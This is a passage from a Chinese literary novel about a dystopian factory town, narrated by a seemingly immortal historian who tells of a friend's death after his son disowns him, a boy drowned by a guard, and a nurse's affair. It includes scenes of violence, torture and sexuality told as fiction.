我提着酒瓶来找老庄,如今的老庄已经中风在家偏瘫了多年。在给儿子攒够马城房子首付那年,儿子与女友领了证,老庄两口子兴高采烈地置办婚礼物件,安化厂也跟着热闹起来。新风俗流行八大件:衣柜、床、新婚被、电视、冰箱、洗衣机、梳妆台、车。花钱的物件儿大家凑不上热闹,这八床新婚被可给厂里的妇女们忙活坏了。担心新媳妇嫌弃这婚被的出身不好,以广播站苗黎为首的妇女们,特地把缝被的地点定在厂区十里外的观音庙。大家逢休息日就洗手换新衣,盘腿围坐在观音娘娘像前,一边聊着老庄家那素未谋面的儿子儿媳妇,一边细细密密地缝,丝毫不敢懈怠。 这活儿倒不是老庄求来的,而是妇女们巴不得的。 「别看老庄天天闷不做声,儿子厉害的咧。」 「以后咱们也是在首都有亲戚的人咧。」 「是说呢,所以孩子啊,还是得读书好,你看这多有出息。」 「老庄和他媳妇这没命地干,也算是见着好日子咧。」 「估计啊,等过两年老庄退休就能到首都享福去了,真是好不羡慕哇。」 「这两口子不容易啊,总算也是能沾到儿女的光啦。」 观音那边正听妇女们的家常话津津有味,老庄这边接到了小庄从马城来的电话。 起初谁也不知道电话里父子二人说了什么,只晓得老庄放下电话,走了没两步,壮硕黝黑的身躯就扑通栽倒在地。炎炎的日头曝晒着空旷的黄土地,老庄仿佛高级西餐厅里的一块黑椒牛排,被放在炭火上炙烤着。他内心的委屈、愤然和煎熬,旁人都无从得知。第一个发现他的,还是颇有天命的独眼张,他远远望见一团巨大的黑色卧在黄土中央,怀着惶恐之心上前查看,随即尖叫起来:「快……快来人,救人啊……」 自那天起老庄便瘫了,厂里提前给他办了退休,老庄媳妇也从外地回来,出门摆摊卖烤红薯,时不时回来给老庄喂饭、把屎尿。 小庄的婚礼,老两口也没去成。 观音像下满载祝福的新婚被,在婚礼前夕,捆了结结实实四大包,托人带去了首都马城。没多久,大家就收到了小庄寄来的进口喜糖,老庄媳妇挨家挨户地发了整整一天,从清晨到深夜,她笑得脸都僵硬了,却始终不愿停下脚步。 3. 青红 老庄偏瘫后,他家的房门就不上锁了,为的就是邻居们能随时照应。 我拎着酒推门进去时,一股浓烈的劣质香水味扑面而来,虽然我早已习惯,但每次开门的瞬间,仍不免反胃。我们都清楚这香水是为了遮掩什么。 拉开窗帘,不算温暖的阳光洒进屋里,干枯的老庄缓缓地转动眼球,仿佛童年里的恐怖洋娃娃。他微张的嘴角源源不断地流着口水。在他偏瘫的这几年里,我眼睁睁地看着他把自己从将近两百的壮硕体重,流成了如今不足一百二十斤的干巴样子。那从嘴角日夜不停汩汩涌出的,是他的命数。我们都知道,老庄时日无多了。 「老庄,别睡了,来整口洋的。前些天,我帮吴侑珍写了首情诗送给她私会的小白脸,这是她给我的酬谢,王小小我都没舍得,独独留着来给你。」 我拧开瓶盖,先倒了半拉瓶盖,喂进老庄半睡半醒的嘴里。 老庄瞬间被酒味唤醒大半,像一头年迈的雄风不再的老公牛般,细细慢慢地咀嚼起来。 我抓起床头柜上老庄的水杯,将水泼在地上,给自己也倒了一杯,自顾自地说起来:「有饭那小子,最近变了,从前我与他讲做历史学家的经历,他总是扑闪着一双大眼睛,充满好奇地听,时不时问上一两个滑稽的问题,从来没有过不耐烦,最近这半年,他几乎很少主动跟我说话,回家很晚,进门就匆匆洗澡吃饭,回房间锁门,我根本不晓得他在那门里头鼓捣些什么,从前我以为自己很开明,如今好像也沦落成忍不住想偷看孩子日记本的坏蛋父母了,不对,是坏蛋父亲,毕竟我代替不了古秀梅。说起古秀梅,她最近整日忙于议会的事情,她说这关乎人民的权利和政治民主,我并不在意,如今这世道,就算真实现全民票选制又能如何,你我都是自顾不暇的蚂蚁,真给安化厂人人一张选票,估计也就用来卷满烟丝,一根火柴烧掉了。不瞒你说,我们已经很久没有□□了,我觉得自己越来越不行了。」 说到这里,我忽然意识到在此时的老庄面前说自己不行似乎欠妥:「老庄,我没有别的意思,你别多想。」 酒喂了一瓶盖接一瓶盖。 老庄两眼直勾勾地盯着年久发霉的屋顶。酒精给了他久违的活力,但也仅限于思想。他追忆着年轻时,在媒人家里,自己第一次见到爱人的那个霏雨绵绵的下午,那时她还叫展青红,多好听的名字,可是后来人们都叫她庄嫂或者黑婆娘了。他想起儿子和女儿分别出生在春天和秋天,春是青,秋是红,多好看的名字,可是后来除了自己,人们几乎没人叫她本名。庸俗的世人啊,竟然埋没了一个这么美好的名字,简直是犯罪。老庄想起与妻子青红新婚的当天,两人在火红的新房里生涩而热烈,缠绵得惊天动地,连家里的小猫都被吓得夺窗逃了出去。次日清早,两人带了鲫鱼肉,满街地找,傍晚才找到小猫一同回家。确定婚姻之后,两人感情和睦工作勤恳,一双儿女也都出落成人,儿子去了北方首都,女儿去了南方羊城,都是厂里人人羡慕的大城市。 想到这里,老庄眼神里刚刚焕发的光亮熄灭了。 他迟钝地调动自己几乎僵硬的肌肉,边淌着混合洋酒的口水,边像只树懒般缓慢说道: 「那天,我接到立春的……电话,满心欢喜,那孩子却说,爸,婚礼你和妈……别来了,我丈人和……朋友们一直都以为……我是孤儿,你和妈也别怪我,你们……不知道,这边哪个家里不是……非富即贵的,我靠自己……摸爬滚打在首都扎根,你们根本不晓得……我吃了多少苦,这些年,你和妈……供给我也不容易,这份恩情……我会记得的,爸,你放心,等我……出人头地,一定……好好报……答你们。」 我遥想起冰河时期,身负重伤的自己曾与一只高原秃鹫合居。大雪封山数日,我伤口化脓奄奄一息,秃鹫整日饮雪为食,直至雪后天明。此间经历三十六天,它未曾动过半分舍我独活的念头。 我知老庄气数将尽,起身,脚步匆匆赶到街口。不远处,老庄媳妇正忙着往烤炉里送红薯。 那个曾经压塌床板的强悍妇女,此刻依然屹立不倒。流感笼罩之下,人类文明灭亡前的仅剩不多的阳光,几乎在此刻都拢聚在了她的头顶。毫不夸张地说,她宛若古往今来无数哲人追寻的真理降世,无比神圣,不容侵犯。 可惜这个时代太过狭隘,政府为了扼杀人类思想的进一步萌芽,剥夺了普通人从事文艺创造工作的可能。照相机、颜料、画纸、摄像机以及一切乐器都不被允许私人持有,其禁令程度等同枪支。 所以无论我多么热切地期望能够记录下这充满神性的一幕,并将其作为礼物送给老庄。事实上,我甚至觉得这是苍天不忍老庄所受折磨,而大发善心送来人间的一味救命药。可是我除了自己的眼睛,没有任何可以记录的工具。 乌云从城北殡仪馆方向压过来,我几乎不加犹豫地反身朝老庄家奔去,像个同乌云赛跑的孩子。 奔跑中,我回忆起自己的其中一位母亲,她个头高高的,脚却出奇的小。 小时候,母亲要每天早出晚归去地主家做工。梅雨过境时节,家中晾晒与收取的杂务皆是我一力承担。每逢乌云压境,我总是不遗余力地往家狂奔,心里只有一个念头——母亲交代的事情我定要完成,切不可令她失望。这个念头支撑了我兵荒马乱的半生,保住我不曾误入歧途。 后来母亲被带枪闯入地主家的军阀□□,并因过程中激烈反抗咬伤了军阀的耳朵,导致他成了人人喊打的一只耳。军阀在求遍名医无果后,愤然下令,在老家的祠堂前,将母亲□□鞭笞。 我仍记得那天也是乌云累累。我在私塾先生家收到了她正在受刑的消息,但我坚守与她的承诺,夺门而出,如同千百次那般不遗余力地往家狂奔。心里只有一个念头——要下雨了,母亲交代过收衣服,我一定要完成,切不可让她失望。 雷雷跳进同心湖,也是害怕让许绣蓝失望。 「我没有,打火机不是我偷的。」 独眼张正在厨房沏茶水,听到客厅里传来雷雷的声音。他端了茶壶茶杯回来。 休值的保卫员杨海军,斜倚在沙发窝里,正冷脸盯着脸红的雷雷,厉声道:「小兔崽子,你晓得老子那打火机多珍贵不,国外的老物件,比你这一条小贱命都值钱,趁老子现在跟你好好说道,麻利交出来。」 雷雷愈发气愤地满脸涨红:「我没做过的事情,你凭什么冤枉人。」 杨海军鲤鱼打挺般坐立起来,抬手指着雷雷的塌鼻子:「你个老鼠孙子,惯偷,小流氓,还敢说冤枉,自己之前干过什么事情不记得了是吧!我警告你,不交出打火机,把你腿打断。」 「你血口喷人,我做过什么事情啦!我虽然调皮捣蛋,但偷东西的事情从来不干,我妈妈教过我的,再穷也不能拿别人的,这叫骨气。」 听到雷雷如此义正言辞,杨海军气得暴跳如雷:「妈的,小流氓,跟老子面前讲骨气是吧。」他以压倒性的优势揪起雷雷的衣领,将他悬空拎起,「信不信,老子今天打到你没骨气。」 独眼张见状忙上前劝架,他挪动跛着的腿:「杨哥,消消气,先喝口茶,跟小孩犯不着动手不是,我来问问他。」 他将茶杯送到杨海军手边。杨海军见台阶也很识趣地顺势而下,松手,接过茶水。 雷雷平日里经常和独眼张玩在一起。独眼张因为面容缺陷,腿有残疾,加之工作又见不得光,所以冷眼冷语受尽。素日里交心的朋友寥寥,雷雷便是他唯一的忘年交。雷雷虽然举止偶有顽劣,但对独眼张言语上从来都很有分寸。他只是喜欢捉弄人、恶作剧,好面子的成年人大都不喜欢他,但渴望被看见的边缘人群却很欢迎他。因为在他眼里,人人平等,人人都是他捉弄的对象。 同样的一盆尿水,他既会挂在胡得为的头顶,也会泼在独眼张身上,还会倒进古秀梅的高跟鞋里。这让独眼张觉得自己跟胡得为、古秀梅没什么两样,甚至他为此感到开心。 当然,这不重要,没有人在乎。 没有人愿意相信,一只蟑螂的品格里会有光明的部分。就如同阿蒂科斯的辩护滴水不漏,但汤姆依然被判刑。人人都说雷雷是个偷盗惯犯,可是他们所谓丢失的那些东西,从未在雷雷和许绣蓝的家里出现过。没有经过立案的判决,高效、痛快,是愚蠢民心之所向。 浑浊的墨绿湖面上,到处搅动着搜寻的涟漪。岸边的人们擎着微不足道的手电,熟悉水性的几个青年钻进湖底。 雪停了又下,人们的眼睛白了又黑。 漫长而寒冷的等待,逐渐浇灭了温热的善意。 冷言冷语,悄然而起。 「偏偏死在这么个地方,还是大雪天里。」 「素日里偷东摸西惹不太平,临了还折腾这好大一场。」 许绣蓝趴在湖边哭晕又醒,谁也不曾发觉,她的耳朵因绝望而瞬时失聪,且持续数月。 众人全力搜救之时,杨海军则紧锁房门将自己关在家里。他坐在熄灭的火炉旁,整个人如同雕像,每每合上眼皮,雷雷在水中浮沉挣扎的画面便赫然出现。 独眼张询问雷雷:「你刚才瞧没瞧见,杨叔进来屋里,抽烟了么?」 雷雷涨红的脸稍稍平复:「他没抽。」 独眼张笑眯眯地转身,端着茶壶给杨海军添水:「杨哥,你看咱都没掏出打火机呢,这让孩子咋偷呢,是不?你要不再翻兜找找?」 杨海军听罢将茶杯往桌上重重一砸,将自己浑身口袋摸了个遍,只有干瘪的半包烟和几片卫生纸:「呐,这下你总该信了吧?不是我说你个死独眼,你竟然向着这混小子说话,你怕是平日里吃了他娘□□的好处了吧。」 雷雷听到杨海军侮辱许绣蓝,抄起桌上烟灰缸便要砸过去,幸而被独眼张手快拦下。雷雷喊叫着:「你个死肥猪,不许你拿我妈妈乱讲,否则我咒你断子绝孙!」 杨海军听闻此话,愤怒起身。他体型魁梧,两手蛮力,一把将拦在中间的独眼张甩倒在地,拎起雷雷径直往门外去。摧枯拉朽的情绪封印了理性,如果雷雷是一个成年人,杨海军是绝对不会如此暴力的。一个乳臭未干的毛头小子,竟然在残疾的独眼张面前丝毫不畏惧自己、不肯低头认错委曲求全,这令杨海军感到非常地没有面子。从这一刻开始,偷还是没偷,都已然不重要了,杨海军要的是归顺、是服从、是高高在上的面子。他不容许一个只到自己裤腰带的小屁孩违逆自己。 而这种不容许被弱者违逆的皇权霸主心态,似乎是每一个男性的通病。封建君主制度虽看似已消亡千余年,实则根深蒂固在每一个雄性灵魂里。 淅淅沥沥的小雨中,两人对骂着来到同心湖。杨海军将雷雷甩在湖边泥坑里,出言说:「小流氓,要么今天把打火机交出来,然后磕头道歉,要么老子立刻就把你扔湖里,活活冻死。」 还未经历世事的雷雷,并不懂得韬光养晦或者曲意逢迎,他凭着横冲直撞的少年意气,不肯屈服地回答道:「再说一遍,我没偷东西!少拿威胁那套吓唬我。」 杨海军冲向前,再次像拎一只流浪小狗般,拎起瘦小的脏兮兮的雷雷,他怒目圆睁,如同被情绪扭曲的厉鬼:「那你就去死吧。」 说罢,他将如火的小小少年扔进了冷夜的湖里。 冷雨、冷水,迅速吸水沉重的棉服,不到三十秒,雷雷便消失在湖面。 雷雷的尸体被王小小从湖里托举上岸时,已是清晨,尽管天已经很久没有真正黑过了。 他小小的身体,此刻肿胀了将近两倍,白色的棉服吸饱了墨绿的水,也吸满了湖底经年累月沉积的恶臭。无意冒犯,但此刻的他像极了一只泥塘里掏出来的死癞蛤蟆,浑身散发着令人不敢靠近的恶心。他的眼睛、鼻子、嘴巴仍旧还是小小的模样,甚至因为身体变成庞然大物,对比之下,他小巧的五官仿佛回到了婴儿时期,更甚从前的可爱。 尸体上岸,还没等许绣蓝靠近端详,等候多时的普尘道长便大步上前。只见他唇间咒语加持,左手衔符,右手一把百年桃木古剑悬空急落,正劈在雷雷头顶,随即厉声大喝道:「孽障,速速离去!」 似乎没有人注意到,他小小的左脚裸露在外。他的鞋子丢了。 许绣蓝已经听不见道士说了什么,他只以为道长在安抚孩子的灵魂。她跌跌撞撞地向前,近旁的人没有一个伸出援手,搀扶一把。自私的我担心王小小与我生出嫌隙,考虑再三还是向前扶了她。 只见她刚扑到孩子跟前,还没等仔细 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我不遗余力地向着老庄家狂奔,头顶的乌云也丝毫没有让步的架势。自从那个母亲死后,我从未像今天这样拼命奔跑过。我是一个臭名昭著的历史学家,我的良知、热情、愤怒都已经被滚滚洪流和虚伪的文明抹得干干净净,至少在此刻之前我一直是如此以为的。我忍受着毫无道理的繁文缛节,我笑嘻嘻地自称流氓知识分子,我跟随正确的思想谩骂我引以为傲的舅舅,我每日掐着自己的脖颈,死去又活来。我在伟大且富足的战后新世界重新降生,却还是不甘心。 我活了太久。 母亲的死,在某种程度上,塑造了我逃避的品格。 当然这仅仅是我其中一位母亲的故事,对书里的我而言,这是很久以前的事情,对此刻写作的我而言,也是很久以后的事情。 请原谅,我活了太久。 我见识过众生平等的初文明,所以不甘。 我忽然明白,是老庄自己选择了死亡,而不是死亡降临。 小庄的一通电话,就如同母亲的刑场,老庄显然已经对人性失望。 可是,老庄媳妇却是如此坚强。 我几乎是撞开了房门,尽管它根本没锁。我掀开混着浓烈香水味和屎尿味的被褥,将奄奄一息如同破抹布般的老庄一把薅到自己背上。 「老庄,别睡,你要看看啊……」 我抬头紧盯着乌云,两腿拼命地奔跑,恨不能顷刻变成一匹马,室韦的马。 「老庄,别睡,你要看看啊……」 我感到自己血管喷张,从未如此热血沸腾,路上我瞥见巷子里有个熟悉的身影在抽烟,但顾不上细看。此刻,就算赦免我流氓知识分子的天书传来,都不能拦下我的奔跑。 还有一个街口…… 十米…… 三米…… 到了…… 我终于背着凉透的老庄站在刚才的街口。我浑身冒着腾腾热气,像只刚出炉的烤红薯,而老庄浑身冰冷。 「老庄,别睡,你要看看啊……」 人类最后的太阳熄灭了。 只听见老庄靠在我的后背,缓而慢地吐出两个字:「青……红……」 我背着老庄,跪在街上,旁若无人地嚎啕大哭起来。哭得撕心裂肺,其程度不亚于刘罐头媳妇看家的哭丧本领。 那天之后,我成了安化厂乃至市里重情重义的好人典型。县里的报纸特地来采访我,剧团里的编剧也来找我搜集素材,说要将我重情义的故事改编成芭蕾剧目,全民学习观看。厂里更是借这个机会大大地宣传了一场,先是请戏班子来大唱三天,而后是流行歌手唱了一天,最后是相声演了一天。当然其中内容都是极其思想正确的,倡导艰苦奋斗、无私奉献、踏实本分,绝不是违背伟大纲领的反论调。 戏台搭好的当天,我和胡得为上台开幕。他握着我的手,笑得假模假式。 「林复生,是好同志啊。」 我为此感到羞愧难当。前面讲过,我最看不上的人便是刘罐头两口子,原因是二人是靠发死人财致富。而此时此景,我站在高高的表彰台上,发的不就是老庄的「死人财」,即便我本心只是想让他看一眼降落在庄嫂身上的神迹,可阴差阳错却成了,我见老庄命悬一线,拼命背他向医院狂奔,并因他命绝半途而当街痛哭。 我接过话筒:「安化厂的兄弟姐妹们,其实老庄这个事情本来我是……」 话方到此,胡得为笑眯眯地接道:「好啦,小林,知道你还在为老庄的过世而自责,但你为朋友性命与死神赛跑的事实,大家也都是看在眼里的,这份荣誉你就不要推脱了,况且咱们厂也好几年没出过好人好事的典型了,这荣耀可不只是你自己的,而是关乎整个安化厂咧。」 我背老庄的初心到底为何,显然是不重要的,厂里想要拉我立正面典型,提振萎靡消极的厂风厂纪,所以厂里想让我是什么初心,才最重要。这件事情原不算什么大事,但小事情发生在小地方,那就可能是要命的事儿了。越是手握小小权力的这群人,越是不容置喙、喜欢用那点权力,将他人置身火架上炙烤。我当了许多年的思想犯,自然是万分清楚,如今的自己已然被架到道德刑台上,也没有了讲真情实感的权利。 我确乎是背了老庄,却被迫成了权力作秀的演员,既没有报酬、也没有尊严的蚂蚁演员。而这样的情节在历史的舞台上,层出不穷。从历史的前车之鉴看来,我甚至还要感谢胡得为们,毕竟他们只是剥夺了我讲真话的权利,而没有毒我的嘴、拔我的舌。 戏班开唱,我借口解手灰溜溜逃了去,穿过空荡的街巷,来到老庄家大开的门前,灵堂就设在老庄躺了几年的房间里。 孤儿小庄自然是不会回来的,甚至因为老庄死了,他连每月寄回家里的生活费都可以省去一半。想到这里,许多人都替他感到高兴。 与热闹的戏台、报社、剧场不同,老庄家甚是寂静。 进门时,老庄媳妇正在忙着整理之前的脏被褥和屎尿布。 「庄嫂。」 老庄媳妇回身,笑盈盈地接待我:「小林兄弟来了,快请坐。」 此刻,我更加确信了她具有神性的推测。「庄嫂,其实……老庄哥最后喊了一句话,我寻思了好几天,还是过来告诉你一声。」 老庄媳妇倒茶水的手明显顿了一拍。「嗯?什么话?」 我犹犹豫豫地说:「他好像是喊了一个名字,叫青红。」 听完,老庄媳妇皮肤粗糙的脸盘上泛起害羞的红晕:「他呀,打从我俩认识起就嘴笨,什么窝心的话都不会说,最腻歪的就是爱念叨我的名字,是的,青红是我的名字。」 4. 侑珍 几天后,老庄家的女儿庄念秋从羊城大医院停职回来,她为了和母亲做伴,暂时放下理想进了安化社区诊所,也就是吴侑珍所在的社区诊所。 庄念秋进社区诊所报到那天,我刚好在输液,是吴侑珍帮我脱的裤子扎的针。原本我是极害羞的,只想输液,不想打针,吴侑珍偏不肯。她不由分说地将我一把拽进了隔帘后面,外头站着许多等待的人,我也不好乱喊,只得任由她去。 吴侑珍对我毫无那方面意思,她只喜欢逗弄我,因为我总是很容易脸红心跳。她一边慢悠悠地褪我的裤子,一边悄声道:「好哥哥,再帮我写一封呗,这有八九天了,小李都不来找我,我心里想得发痒。」 我反过来打趣她:「你发痒的,怕是另有别处吧。」 她娇憨地往我屁股瓣上抹碘伏,整得我凉凉的:「下回我从老陈那儿给你带好东西,他秘书从国外搞回来的,保你和古秀梅快活得像神仙。」 我一听动了心,毕竟古秀梅最近实在冷落我太久,我觉着自己活像是古代那投入冷宫的妃子。 我应了下来:「成吧,明天给你。」 吴侑珍眉开眼笑道:「谢谢我的好哥哥,最好是能写得让小李看了信就能立马飞奔来找我。」说完,她花枝乱颤地笑。 我继续打趣她:「那何必写信,直接送他一本金瓶梅不得了。」 「哼。」吴侑珍嗔了我一口,随即快准狠地给我一针。 小李本名李英俊,是实验小学的数学老师,个头高挑,模样英俊,尤其是那孔武有力的鼻子,最是引人注目。他总是穿着白衬衫牛仔裤,清爽又干练。 有饭念六年级时他给带过课,我也跟他打过两次照面。对他印象很是不错。 第二次见面时我同他聊起过自己是个历史学家的事情,但没告诉他我长生不死的秘密,他听完沉思道:「在如今这个崇尚盲目与低俗的时代,您是如此的与众不同,其实初次见面的时候,我就为能遇见您而感到荣幸。」 那个瞬间,我几乎要变成一颗氢气球,飘到天上去了。 关于老庄的死和老庄媳妇的神性,我也只与他交谈过。 「我恨不能把眼睛挖出来,换到你的眼窝里,好让你看到那天我所看到。那就是古往今来一切哲学家、历史学家、天文学家所一直苦苦追寻的真理,它短暂一现,且如此朴素,它那般轻易地显现在了一位烤红薯的妇人身上。」 我激动地摇动着他高而宽的肩膀:「从今以后,我可以无比自信地告诉所有人,真理是有味道的,它洋溢着烤红薯的香甜。」 小李也同样激动地推了推眼镜,他追问:「林师傅,快,快描述给我听,那是怎样一幅场景。」 我望着他宛若明星的双眼,看到人类的未来依然存有可以被教化的、光明的火种。 纵使我知道陈传富手段滔天、心狠手辣,但我依然愿意为知己,也就是小李和吴侑珍,赴汤蹈火。 想到这里,我提笔写下: 「 在这个光明前夜的时代里 我习惯了克己复礼 压抑欲望 所以 我无法确定 和你的相遇 是重生还是加速灭亡 我既怀念大爆炸之前 风平浪静的生活 也无法舍弃 在如今残喘的自由里 与你眼眸交错的瞬间 恳求你 舍弃我吧 放我重回那个禁锢的牢笼 无尽的冷雨 无尽的利箭 我遍体鳞伤无人问津 舍弃我 不要回头 你有你的光明 我有我的黑夜 」 次日的深夜,小李等待宿舍的其他青年老师睡着之后,怀里裹着信翻进了陈传富送给吴侑珍的别墅。 吴侑珍身穿一件薄如蝉翼的真丝睡衣,正站在小李上次用过的浴巾前,心如乱麻,脸颊绯红。 小李从身后环抱住她,硕大的两手在吴侑珍软滑的腰身间游走。 吴侑珍欲拒还迎地嗔怪道:「放手,不许你再碰我了。」 却被小李圈得更严实。「我不会舍弃你的,我要与你在残喘的自由里沉沦,我需要你的温度来取暖,而我也将给出全部的我,为你取暖。有珍,如果你愿意,我将带你走出黑夜,我发誓。」 吴侑珍虽然不懂小李的话语,但她感受到了青年炙热的真心,她无法说出惊世骇俗的深情话语,只能还之以缠绵悱恻的情意。 在几乎所有伟大的经典小说中,自由的情爱都被视为,是主角冲破宗法礼教约束的象征之一。无论是婚内出轨、勾引他人的妻子、诱惑朋友的丈夫、甚至是毫不负责任的一夜情、嫖妓等等诸如此类。 显然,小李作为一个受过高等教育、饱读文学经典的人民教师,也是如此。 但事实果真这样么? 根据我在人性里摸爬滚打了几千年的经验,真正的勇敢者,是那些打破阶级限制、用真理对抗宗法礼教、追求科学民主、向天改命的人。 一件人人生来就会,甚至驴、骡子、马、苍蝇、老鼠、蟑螂、鹌鹑都会的事情,我实在想不出,它跟冲破宗法礼教有什么伟大的必然联系。我可以勉为其难地承认,它在一些极端禁欲的地区的确伟大,但上升至如今的高度,实属本末倒置。另有与之相似的什么裸露自由、死亡自由、性别自由,当一群毫无思想建树、又沽名钓誉的人类,想拔高自己的知名度时,总会创造出许多惊世骇俗的言论和名词,他们无所谓这些言论和名词是否存在道德和逻辑的硬伤,只要效果足够轰动,就是好的。这导致许多纯良的人被蛊惑,他们以为自己有幸参与了改写历史的大事件,却不过是一颗颗盲目的橘子,迟早被剥皮吃掉。 至少在如今这个时代,出轨、一夜情,似乎已成了家常便饭,这导致「爱情」二字的信誉骤然降低,甚至成为人人喊打的过街老鼠。似乎情爱关系的稳定性,远远超过了虚无缥缈的爱情。 汗水淋漓的吴侑珍,浑身酥软地扑在小李厚实的胸肌上。 吴侑珍挑弄着他胡青的下巴,问道:「为什么这许多天都不来找我?」 小李意犹未尽地抚摸着她肌肤,道:「我总自诩是个品行高尚的人,况且我还是个老师,可自从流感传染,来到诊所,被你打了一针之后,我的品行便崩塌了。你与陈传富虽然没有领证,但明面上大家都知道你们的关系,如果不是他女儿,你怕是早成了陈太太。而我竟然还贪恋着你,我深感自己的不道德,却又总是无法压抑内心深处对你的渴求。你在信里说恳求我舍弃你,这应该我说才对。你知道吗,这许多天里,我每天都洗冷水澡,睡觉不盖被子,才能勉强压抑住夜深人静时,身体里的火焰。侑珍,我竟是个如此懦弱的伪君子,我羞于来见你。」 吴侑珍从未被人这般深情地告白过,她激动得声音颤抖:「不,小李,我不许你这样说自己,你是我遇见过的最有学识、最正直的人,反倒是我,我总是轻浮、无礼,拿那些老实人取乐。被你这样一说,我简直自惭形秽,我是个坏女人。陈传富强要了我之后,我就愈发放纵了,但我发誓,除了他,我只有你,我也只要你。小李,我攒了一些钱,我们离开这里好不好?」 小李听到吴侑珍愿意陪自己冲破枷锁,奔向自由,瞬间感到自己英武非凡,摇身一变,成了千万本名著小说里的主人公。他皮肤下的每一处血管都充斥着滚烫的热血,仿佛一台人类历史上划时代的伟大蒸汽机。 他激动地问道:「侑珍,你真的愿意吗?这是真的吗?你发誓,你绝不是在骗我。」 贪吃的吴侑珍娇喘道:「小李,我……愿意,我都愿意。」 窗外偷听的少年,在月光下浮想联翩。 少年在朗朗夜空下,逃奔回家。 我眼见他凌晨进门,气得忘记了什么通情达理的开明父亲人设,只想抄家伙教育。 「林有饭,这还是你的家吗?这分明是你夜宿的旅店!」 「别喊我这破名字,我要改,改叫龙震天。」 龙震天这个新鲜又熟悉的名字,让我回想起冷兵器文明时代,我的一位挚友。 这也是他的名字。 他出身乡土,纯朴、热情。彼时我是一名自由的流浪家,也就是乞丐。讨饭到他家门前,他闻声从低矮的黄土墙屋里弯腰出来,并带了半碗生野菜。他十五六岁,左腿微跛,粗布衣衫干净平整。他身形不高,瘦而弱,却剑眉星目,眼神刚毅。我询问他可有读书。他答家中清苦,只听过几次游历至此的艺人说书,不曾有幸读过。不过他思想自由、胸怀万物,他说自己虽不识字,但深有体会如今的当政者昏庸无能、暴戾贪婪。他不曾见识圣贤书里高深的解救之道,纵使读了,他也不信,不然社会与人民怎会沦落至此。他心中有自己的成仁之法,只是此刻仍需要积蓄力量。 历史滚滚车轮下,似乎从不缺少像他这般充满理想主义色彩的献祭者。 这,是真正的勇士。 数年后,他为了人人平等的大同理想,献出最宝贵的仅此一次的生命。 我亲眼目睹了他被悬于城门,绞杀三天的漫长过程。他始终保持着初见的体面与整洁,在被套上绞刑绳索之前,行刑服一尘不染。他被悬挂在巨大的木架中央,愤然高喊着试图唤醒政府良知:「掩耳盗铃无异于自取灭亡,今日政府视种种暴露于阳光下的贪腐、渎职于不见,明日千古浩浩王朝必亡于此。各方官吏同僚啊,你们曾经也都是寒窗苦读、怀有为民请命理想的志士青年,何以进了那官场,便仿佛白布投入染缸,脱胎换骨,全然失了初心与良知。人终有一死,浑噩度日者太多,流传千古者寥寥,扪心而问吧,夜深人静时,可否安睡!」 随着行刑官恶令牌落地,他脚底的木板被抽走,整个瞬间被勒紧脖颈。他出于求生本能地挣扎,虽然他毫不畏惧死亡。待他因窒息而昏厥,行刑员会把他的绳索放低,冷水泼醒,呼吸缓和后再次送回行刑架,如此般反复折磨。期间不可进食进水、睡眠排泄。 第一日的他除了面容被刑罚折磨得有些憔悴,意志未削减分毫。甚至在凌晨城门前只剩我一人时,他还用洪亮不减的音量,放浪大笑道:「龙某,此生无憾。」 而意志的逐渐瓦解,始于尊严的丢失。 第二日晌午,在经历了一百九十九次绞刑时,他的身体由于极度虚弱,失去肌肉控制的本能,围观看热闹的五百八十六个人和等待为他收敛尸体的我,都看到了——是尿。 尿液在他那本就破败、脏污的行刑服底逐渐晕染开来。而随着不合 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林有饭很是惊讶:「真的?」 「开玩笑,你老爹什么时候说过假话!」 林有饭小声嘀咕道:「那可太多了。」 有饭是个历史虚无主义者,他不认同过往和将来与此刻之间的蝴蝶效应,而认为人只是在活一个瞬间。过去的瞬间就消失了,未来的瞬间毫无意义,只有当下。所以从个体思想维度来看,在他眼里,像我这样的历史唯物主义者确实是彻头彻尾的谎话精。他认为世间万物、凡所发生,皆无意义,那些高深莫测的名言至理,不过是人类的自我催眠。就如同人人都知道死了就什么都没有了,已经流逝的时间也无从追回,却还是害怕地狱、反复对已经发生的追悔莫及。 十三岁的有饭,下巴已经冒出绒毛般的胡须,像一只初出蛋壳的雏鸭。他的眼睛像古秀梅,看人很深,沉静却坚不可摧,嘴巴像我,薄薄的两片肉,话有很多,说出口的却很少。他从六岁起便在育红班里,为同龄人甚至老师观命。一张木头板凳,他抬腿往上一坐,肉乎乎的手捧在来人的脸颊上,眼睛定定地透过对方的眼睛,望进其灵魂里。 而事实上,有饭并没有什么天赋异禀的灵异能力,他无非是从我这里听了太多的陈年故事,暗自摸索出一套对人心的拿捏话术。 「无论任何人,讲童年时光不快乐,少年时莽撞,青年时艰难,中年时压力如山,总归是没错的。还要讲些看似确切的经历,被在乎的人伤过,曾受贵人帮助,有段时间睡眠和饮食不好,难以打起精神,天命之选、有大智慧,其才能和天赋在当前的位置实属浪费。男人多讲讲事业、钱权、女人,女人则聊聊情感、自我、觉醒。但不能讲得如此直白简单,要善用语言包装,譬如引经据典几个晦涩难懂的名词,给其贴上一个属性标签,有了明确定义,人人都会信若真理。」 短短几行字,因人而异的实践起来却是密密麻麻的心思。 过午,在派出所等待新证件。我们从民警口中得知了,吴侑珍和小李疑似私奔的消息。细节知晓得并不多,大概就是清晨天不亮,小李忽然从学校职员宿舍里收拾行李,然后打车去到吴侑珍的别墅,随即两人去车行提了辆摩托车,然后就再也没人见过他们。据说,因为走得太匆忙,吴侑珍左脚的鞋子,还丢在了摩托车行门口。 我听后,连连摇头,小李终于还是踏上了世界文学的不归路。 我不免心怀愧疚,万一私奔途中,小李发现那些勾起他思想涟漪的信,并非出自吴侑珍之手,而是出自我这个热心肠的男人,情感会否发生畸变。我自是相信吴侑珍的魅力与真情的,女人嘛,千古以来总是单纯得近乎傻瓜,只要充足的□□和几句甜言蜜语,她们就会神魂颠倒死心塌地,男人可就复杂多了,有了情爱要灵魂,有了灵魂要新鲜,总之无论如何迎合,都会厌倦、不满、抱怨,然后换下一个。尤其是像小李这样深受禁俗文学荼毒的文艺男青年更是如此。 他们口号喊得好听,追求自由、平等、博爱,用通俗文学翻译无非就是四个字,逃避责任。打着自由的旗号大搞混乱关系,实在是龌龊至极。如此看来我竟然有点支持当局对文学、艺术和哲学的极端控制,至少可以在一定程度上阻止人类文明的堕落。有了,本月的思想报告文章有主题了。就名为《伟大的光明的正确的思想甘霖终将涤净我的灵魂》 林有饭还想修改自己的年龄,他想改大十岁,以此来快速增加自己那几乎没有的男子气概,但被户籍处民警武汉志用一个白眼怼回来了。 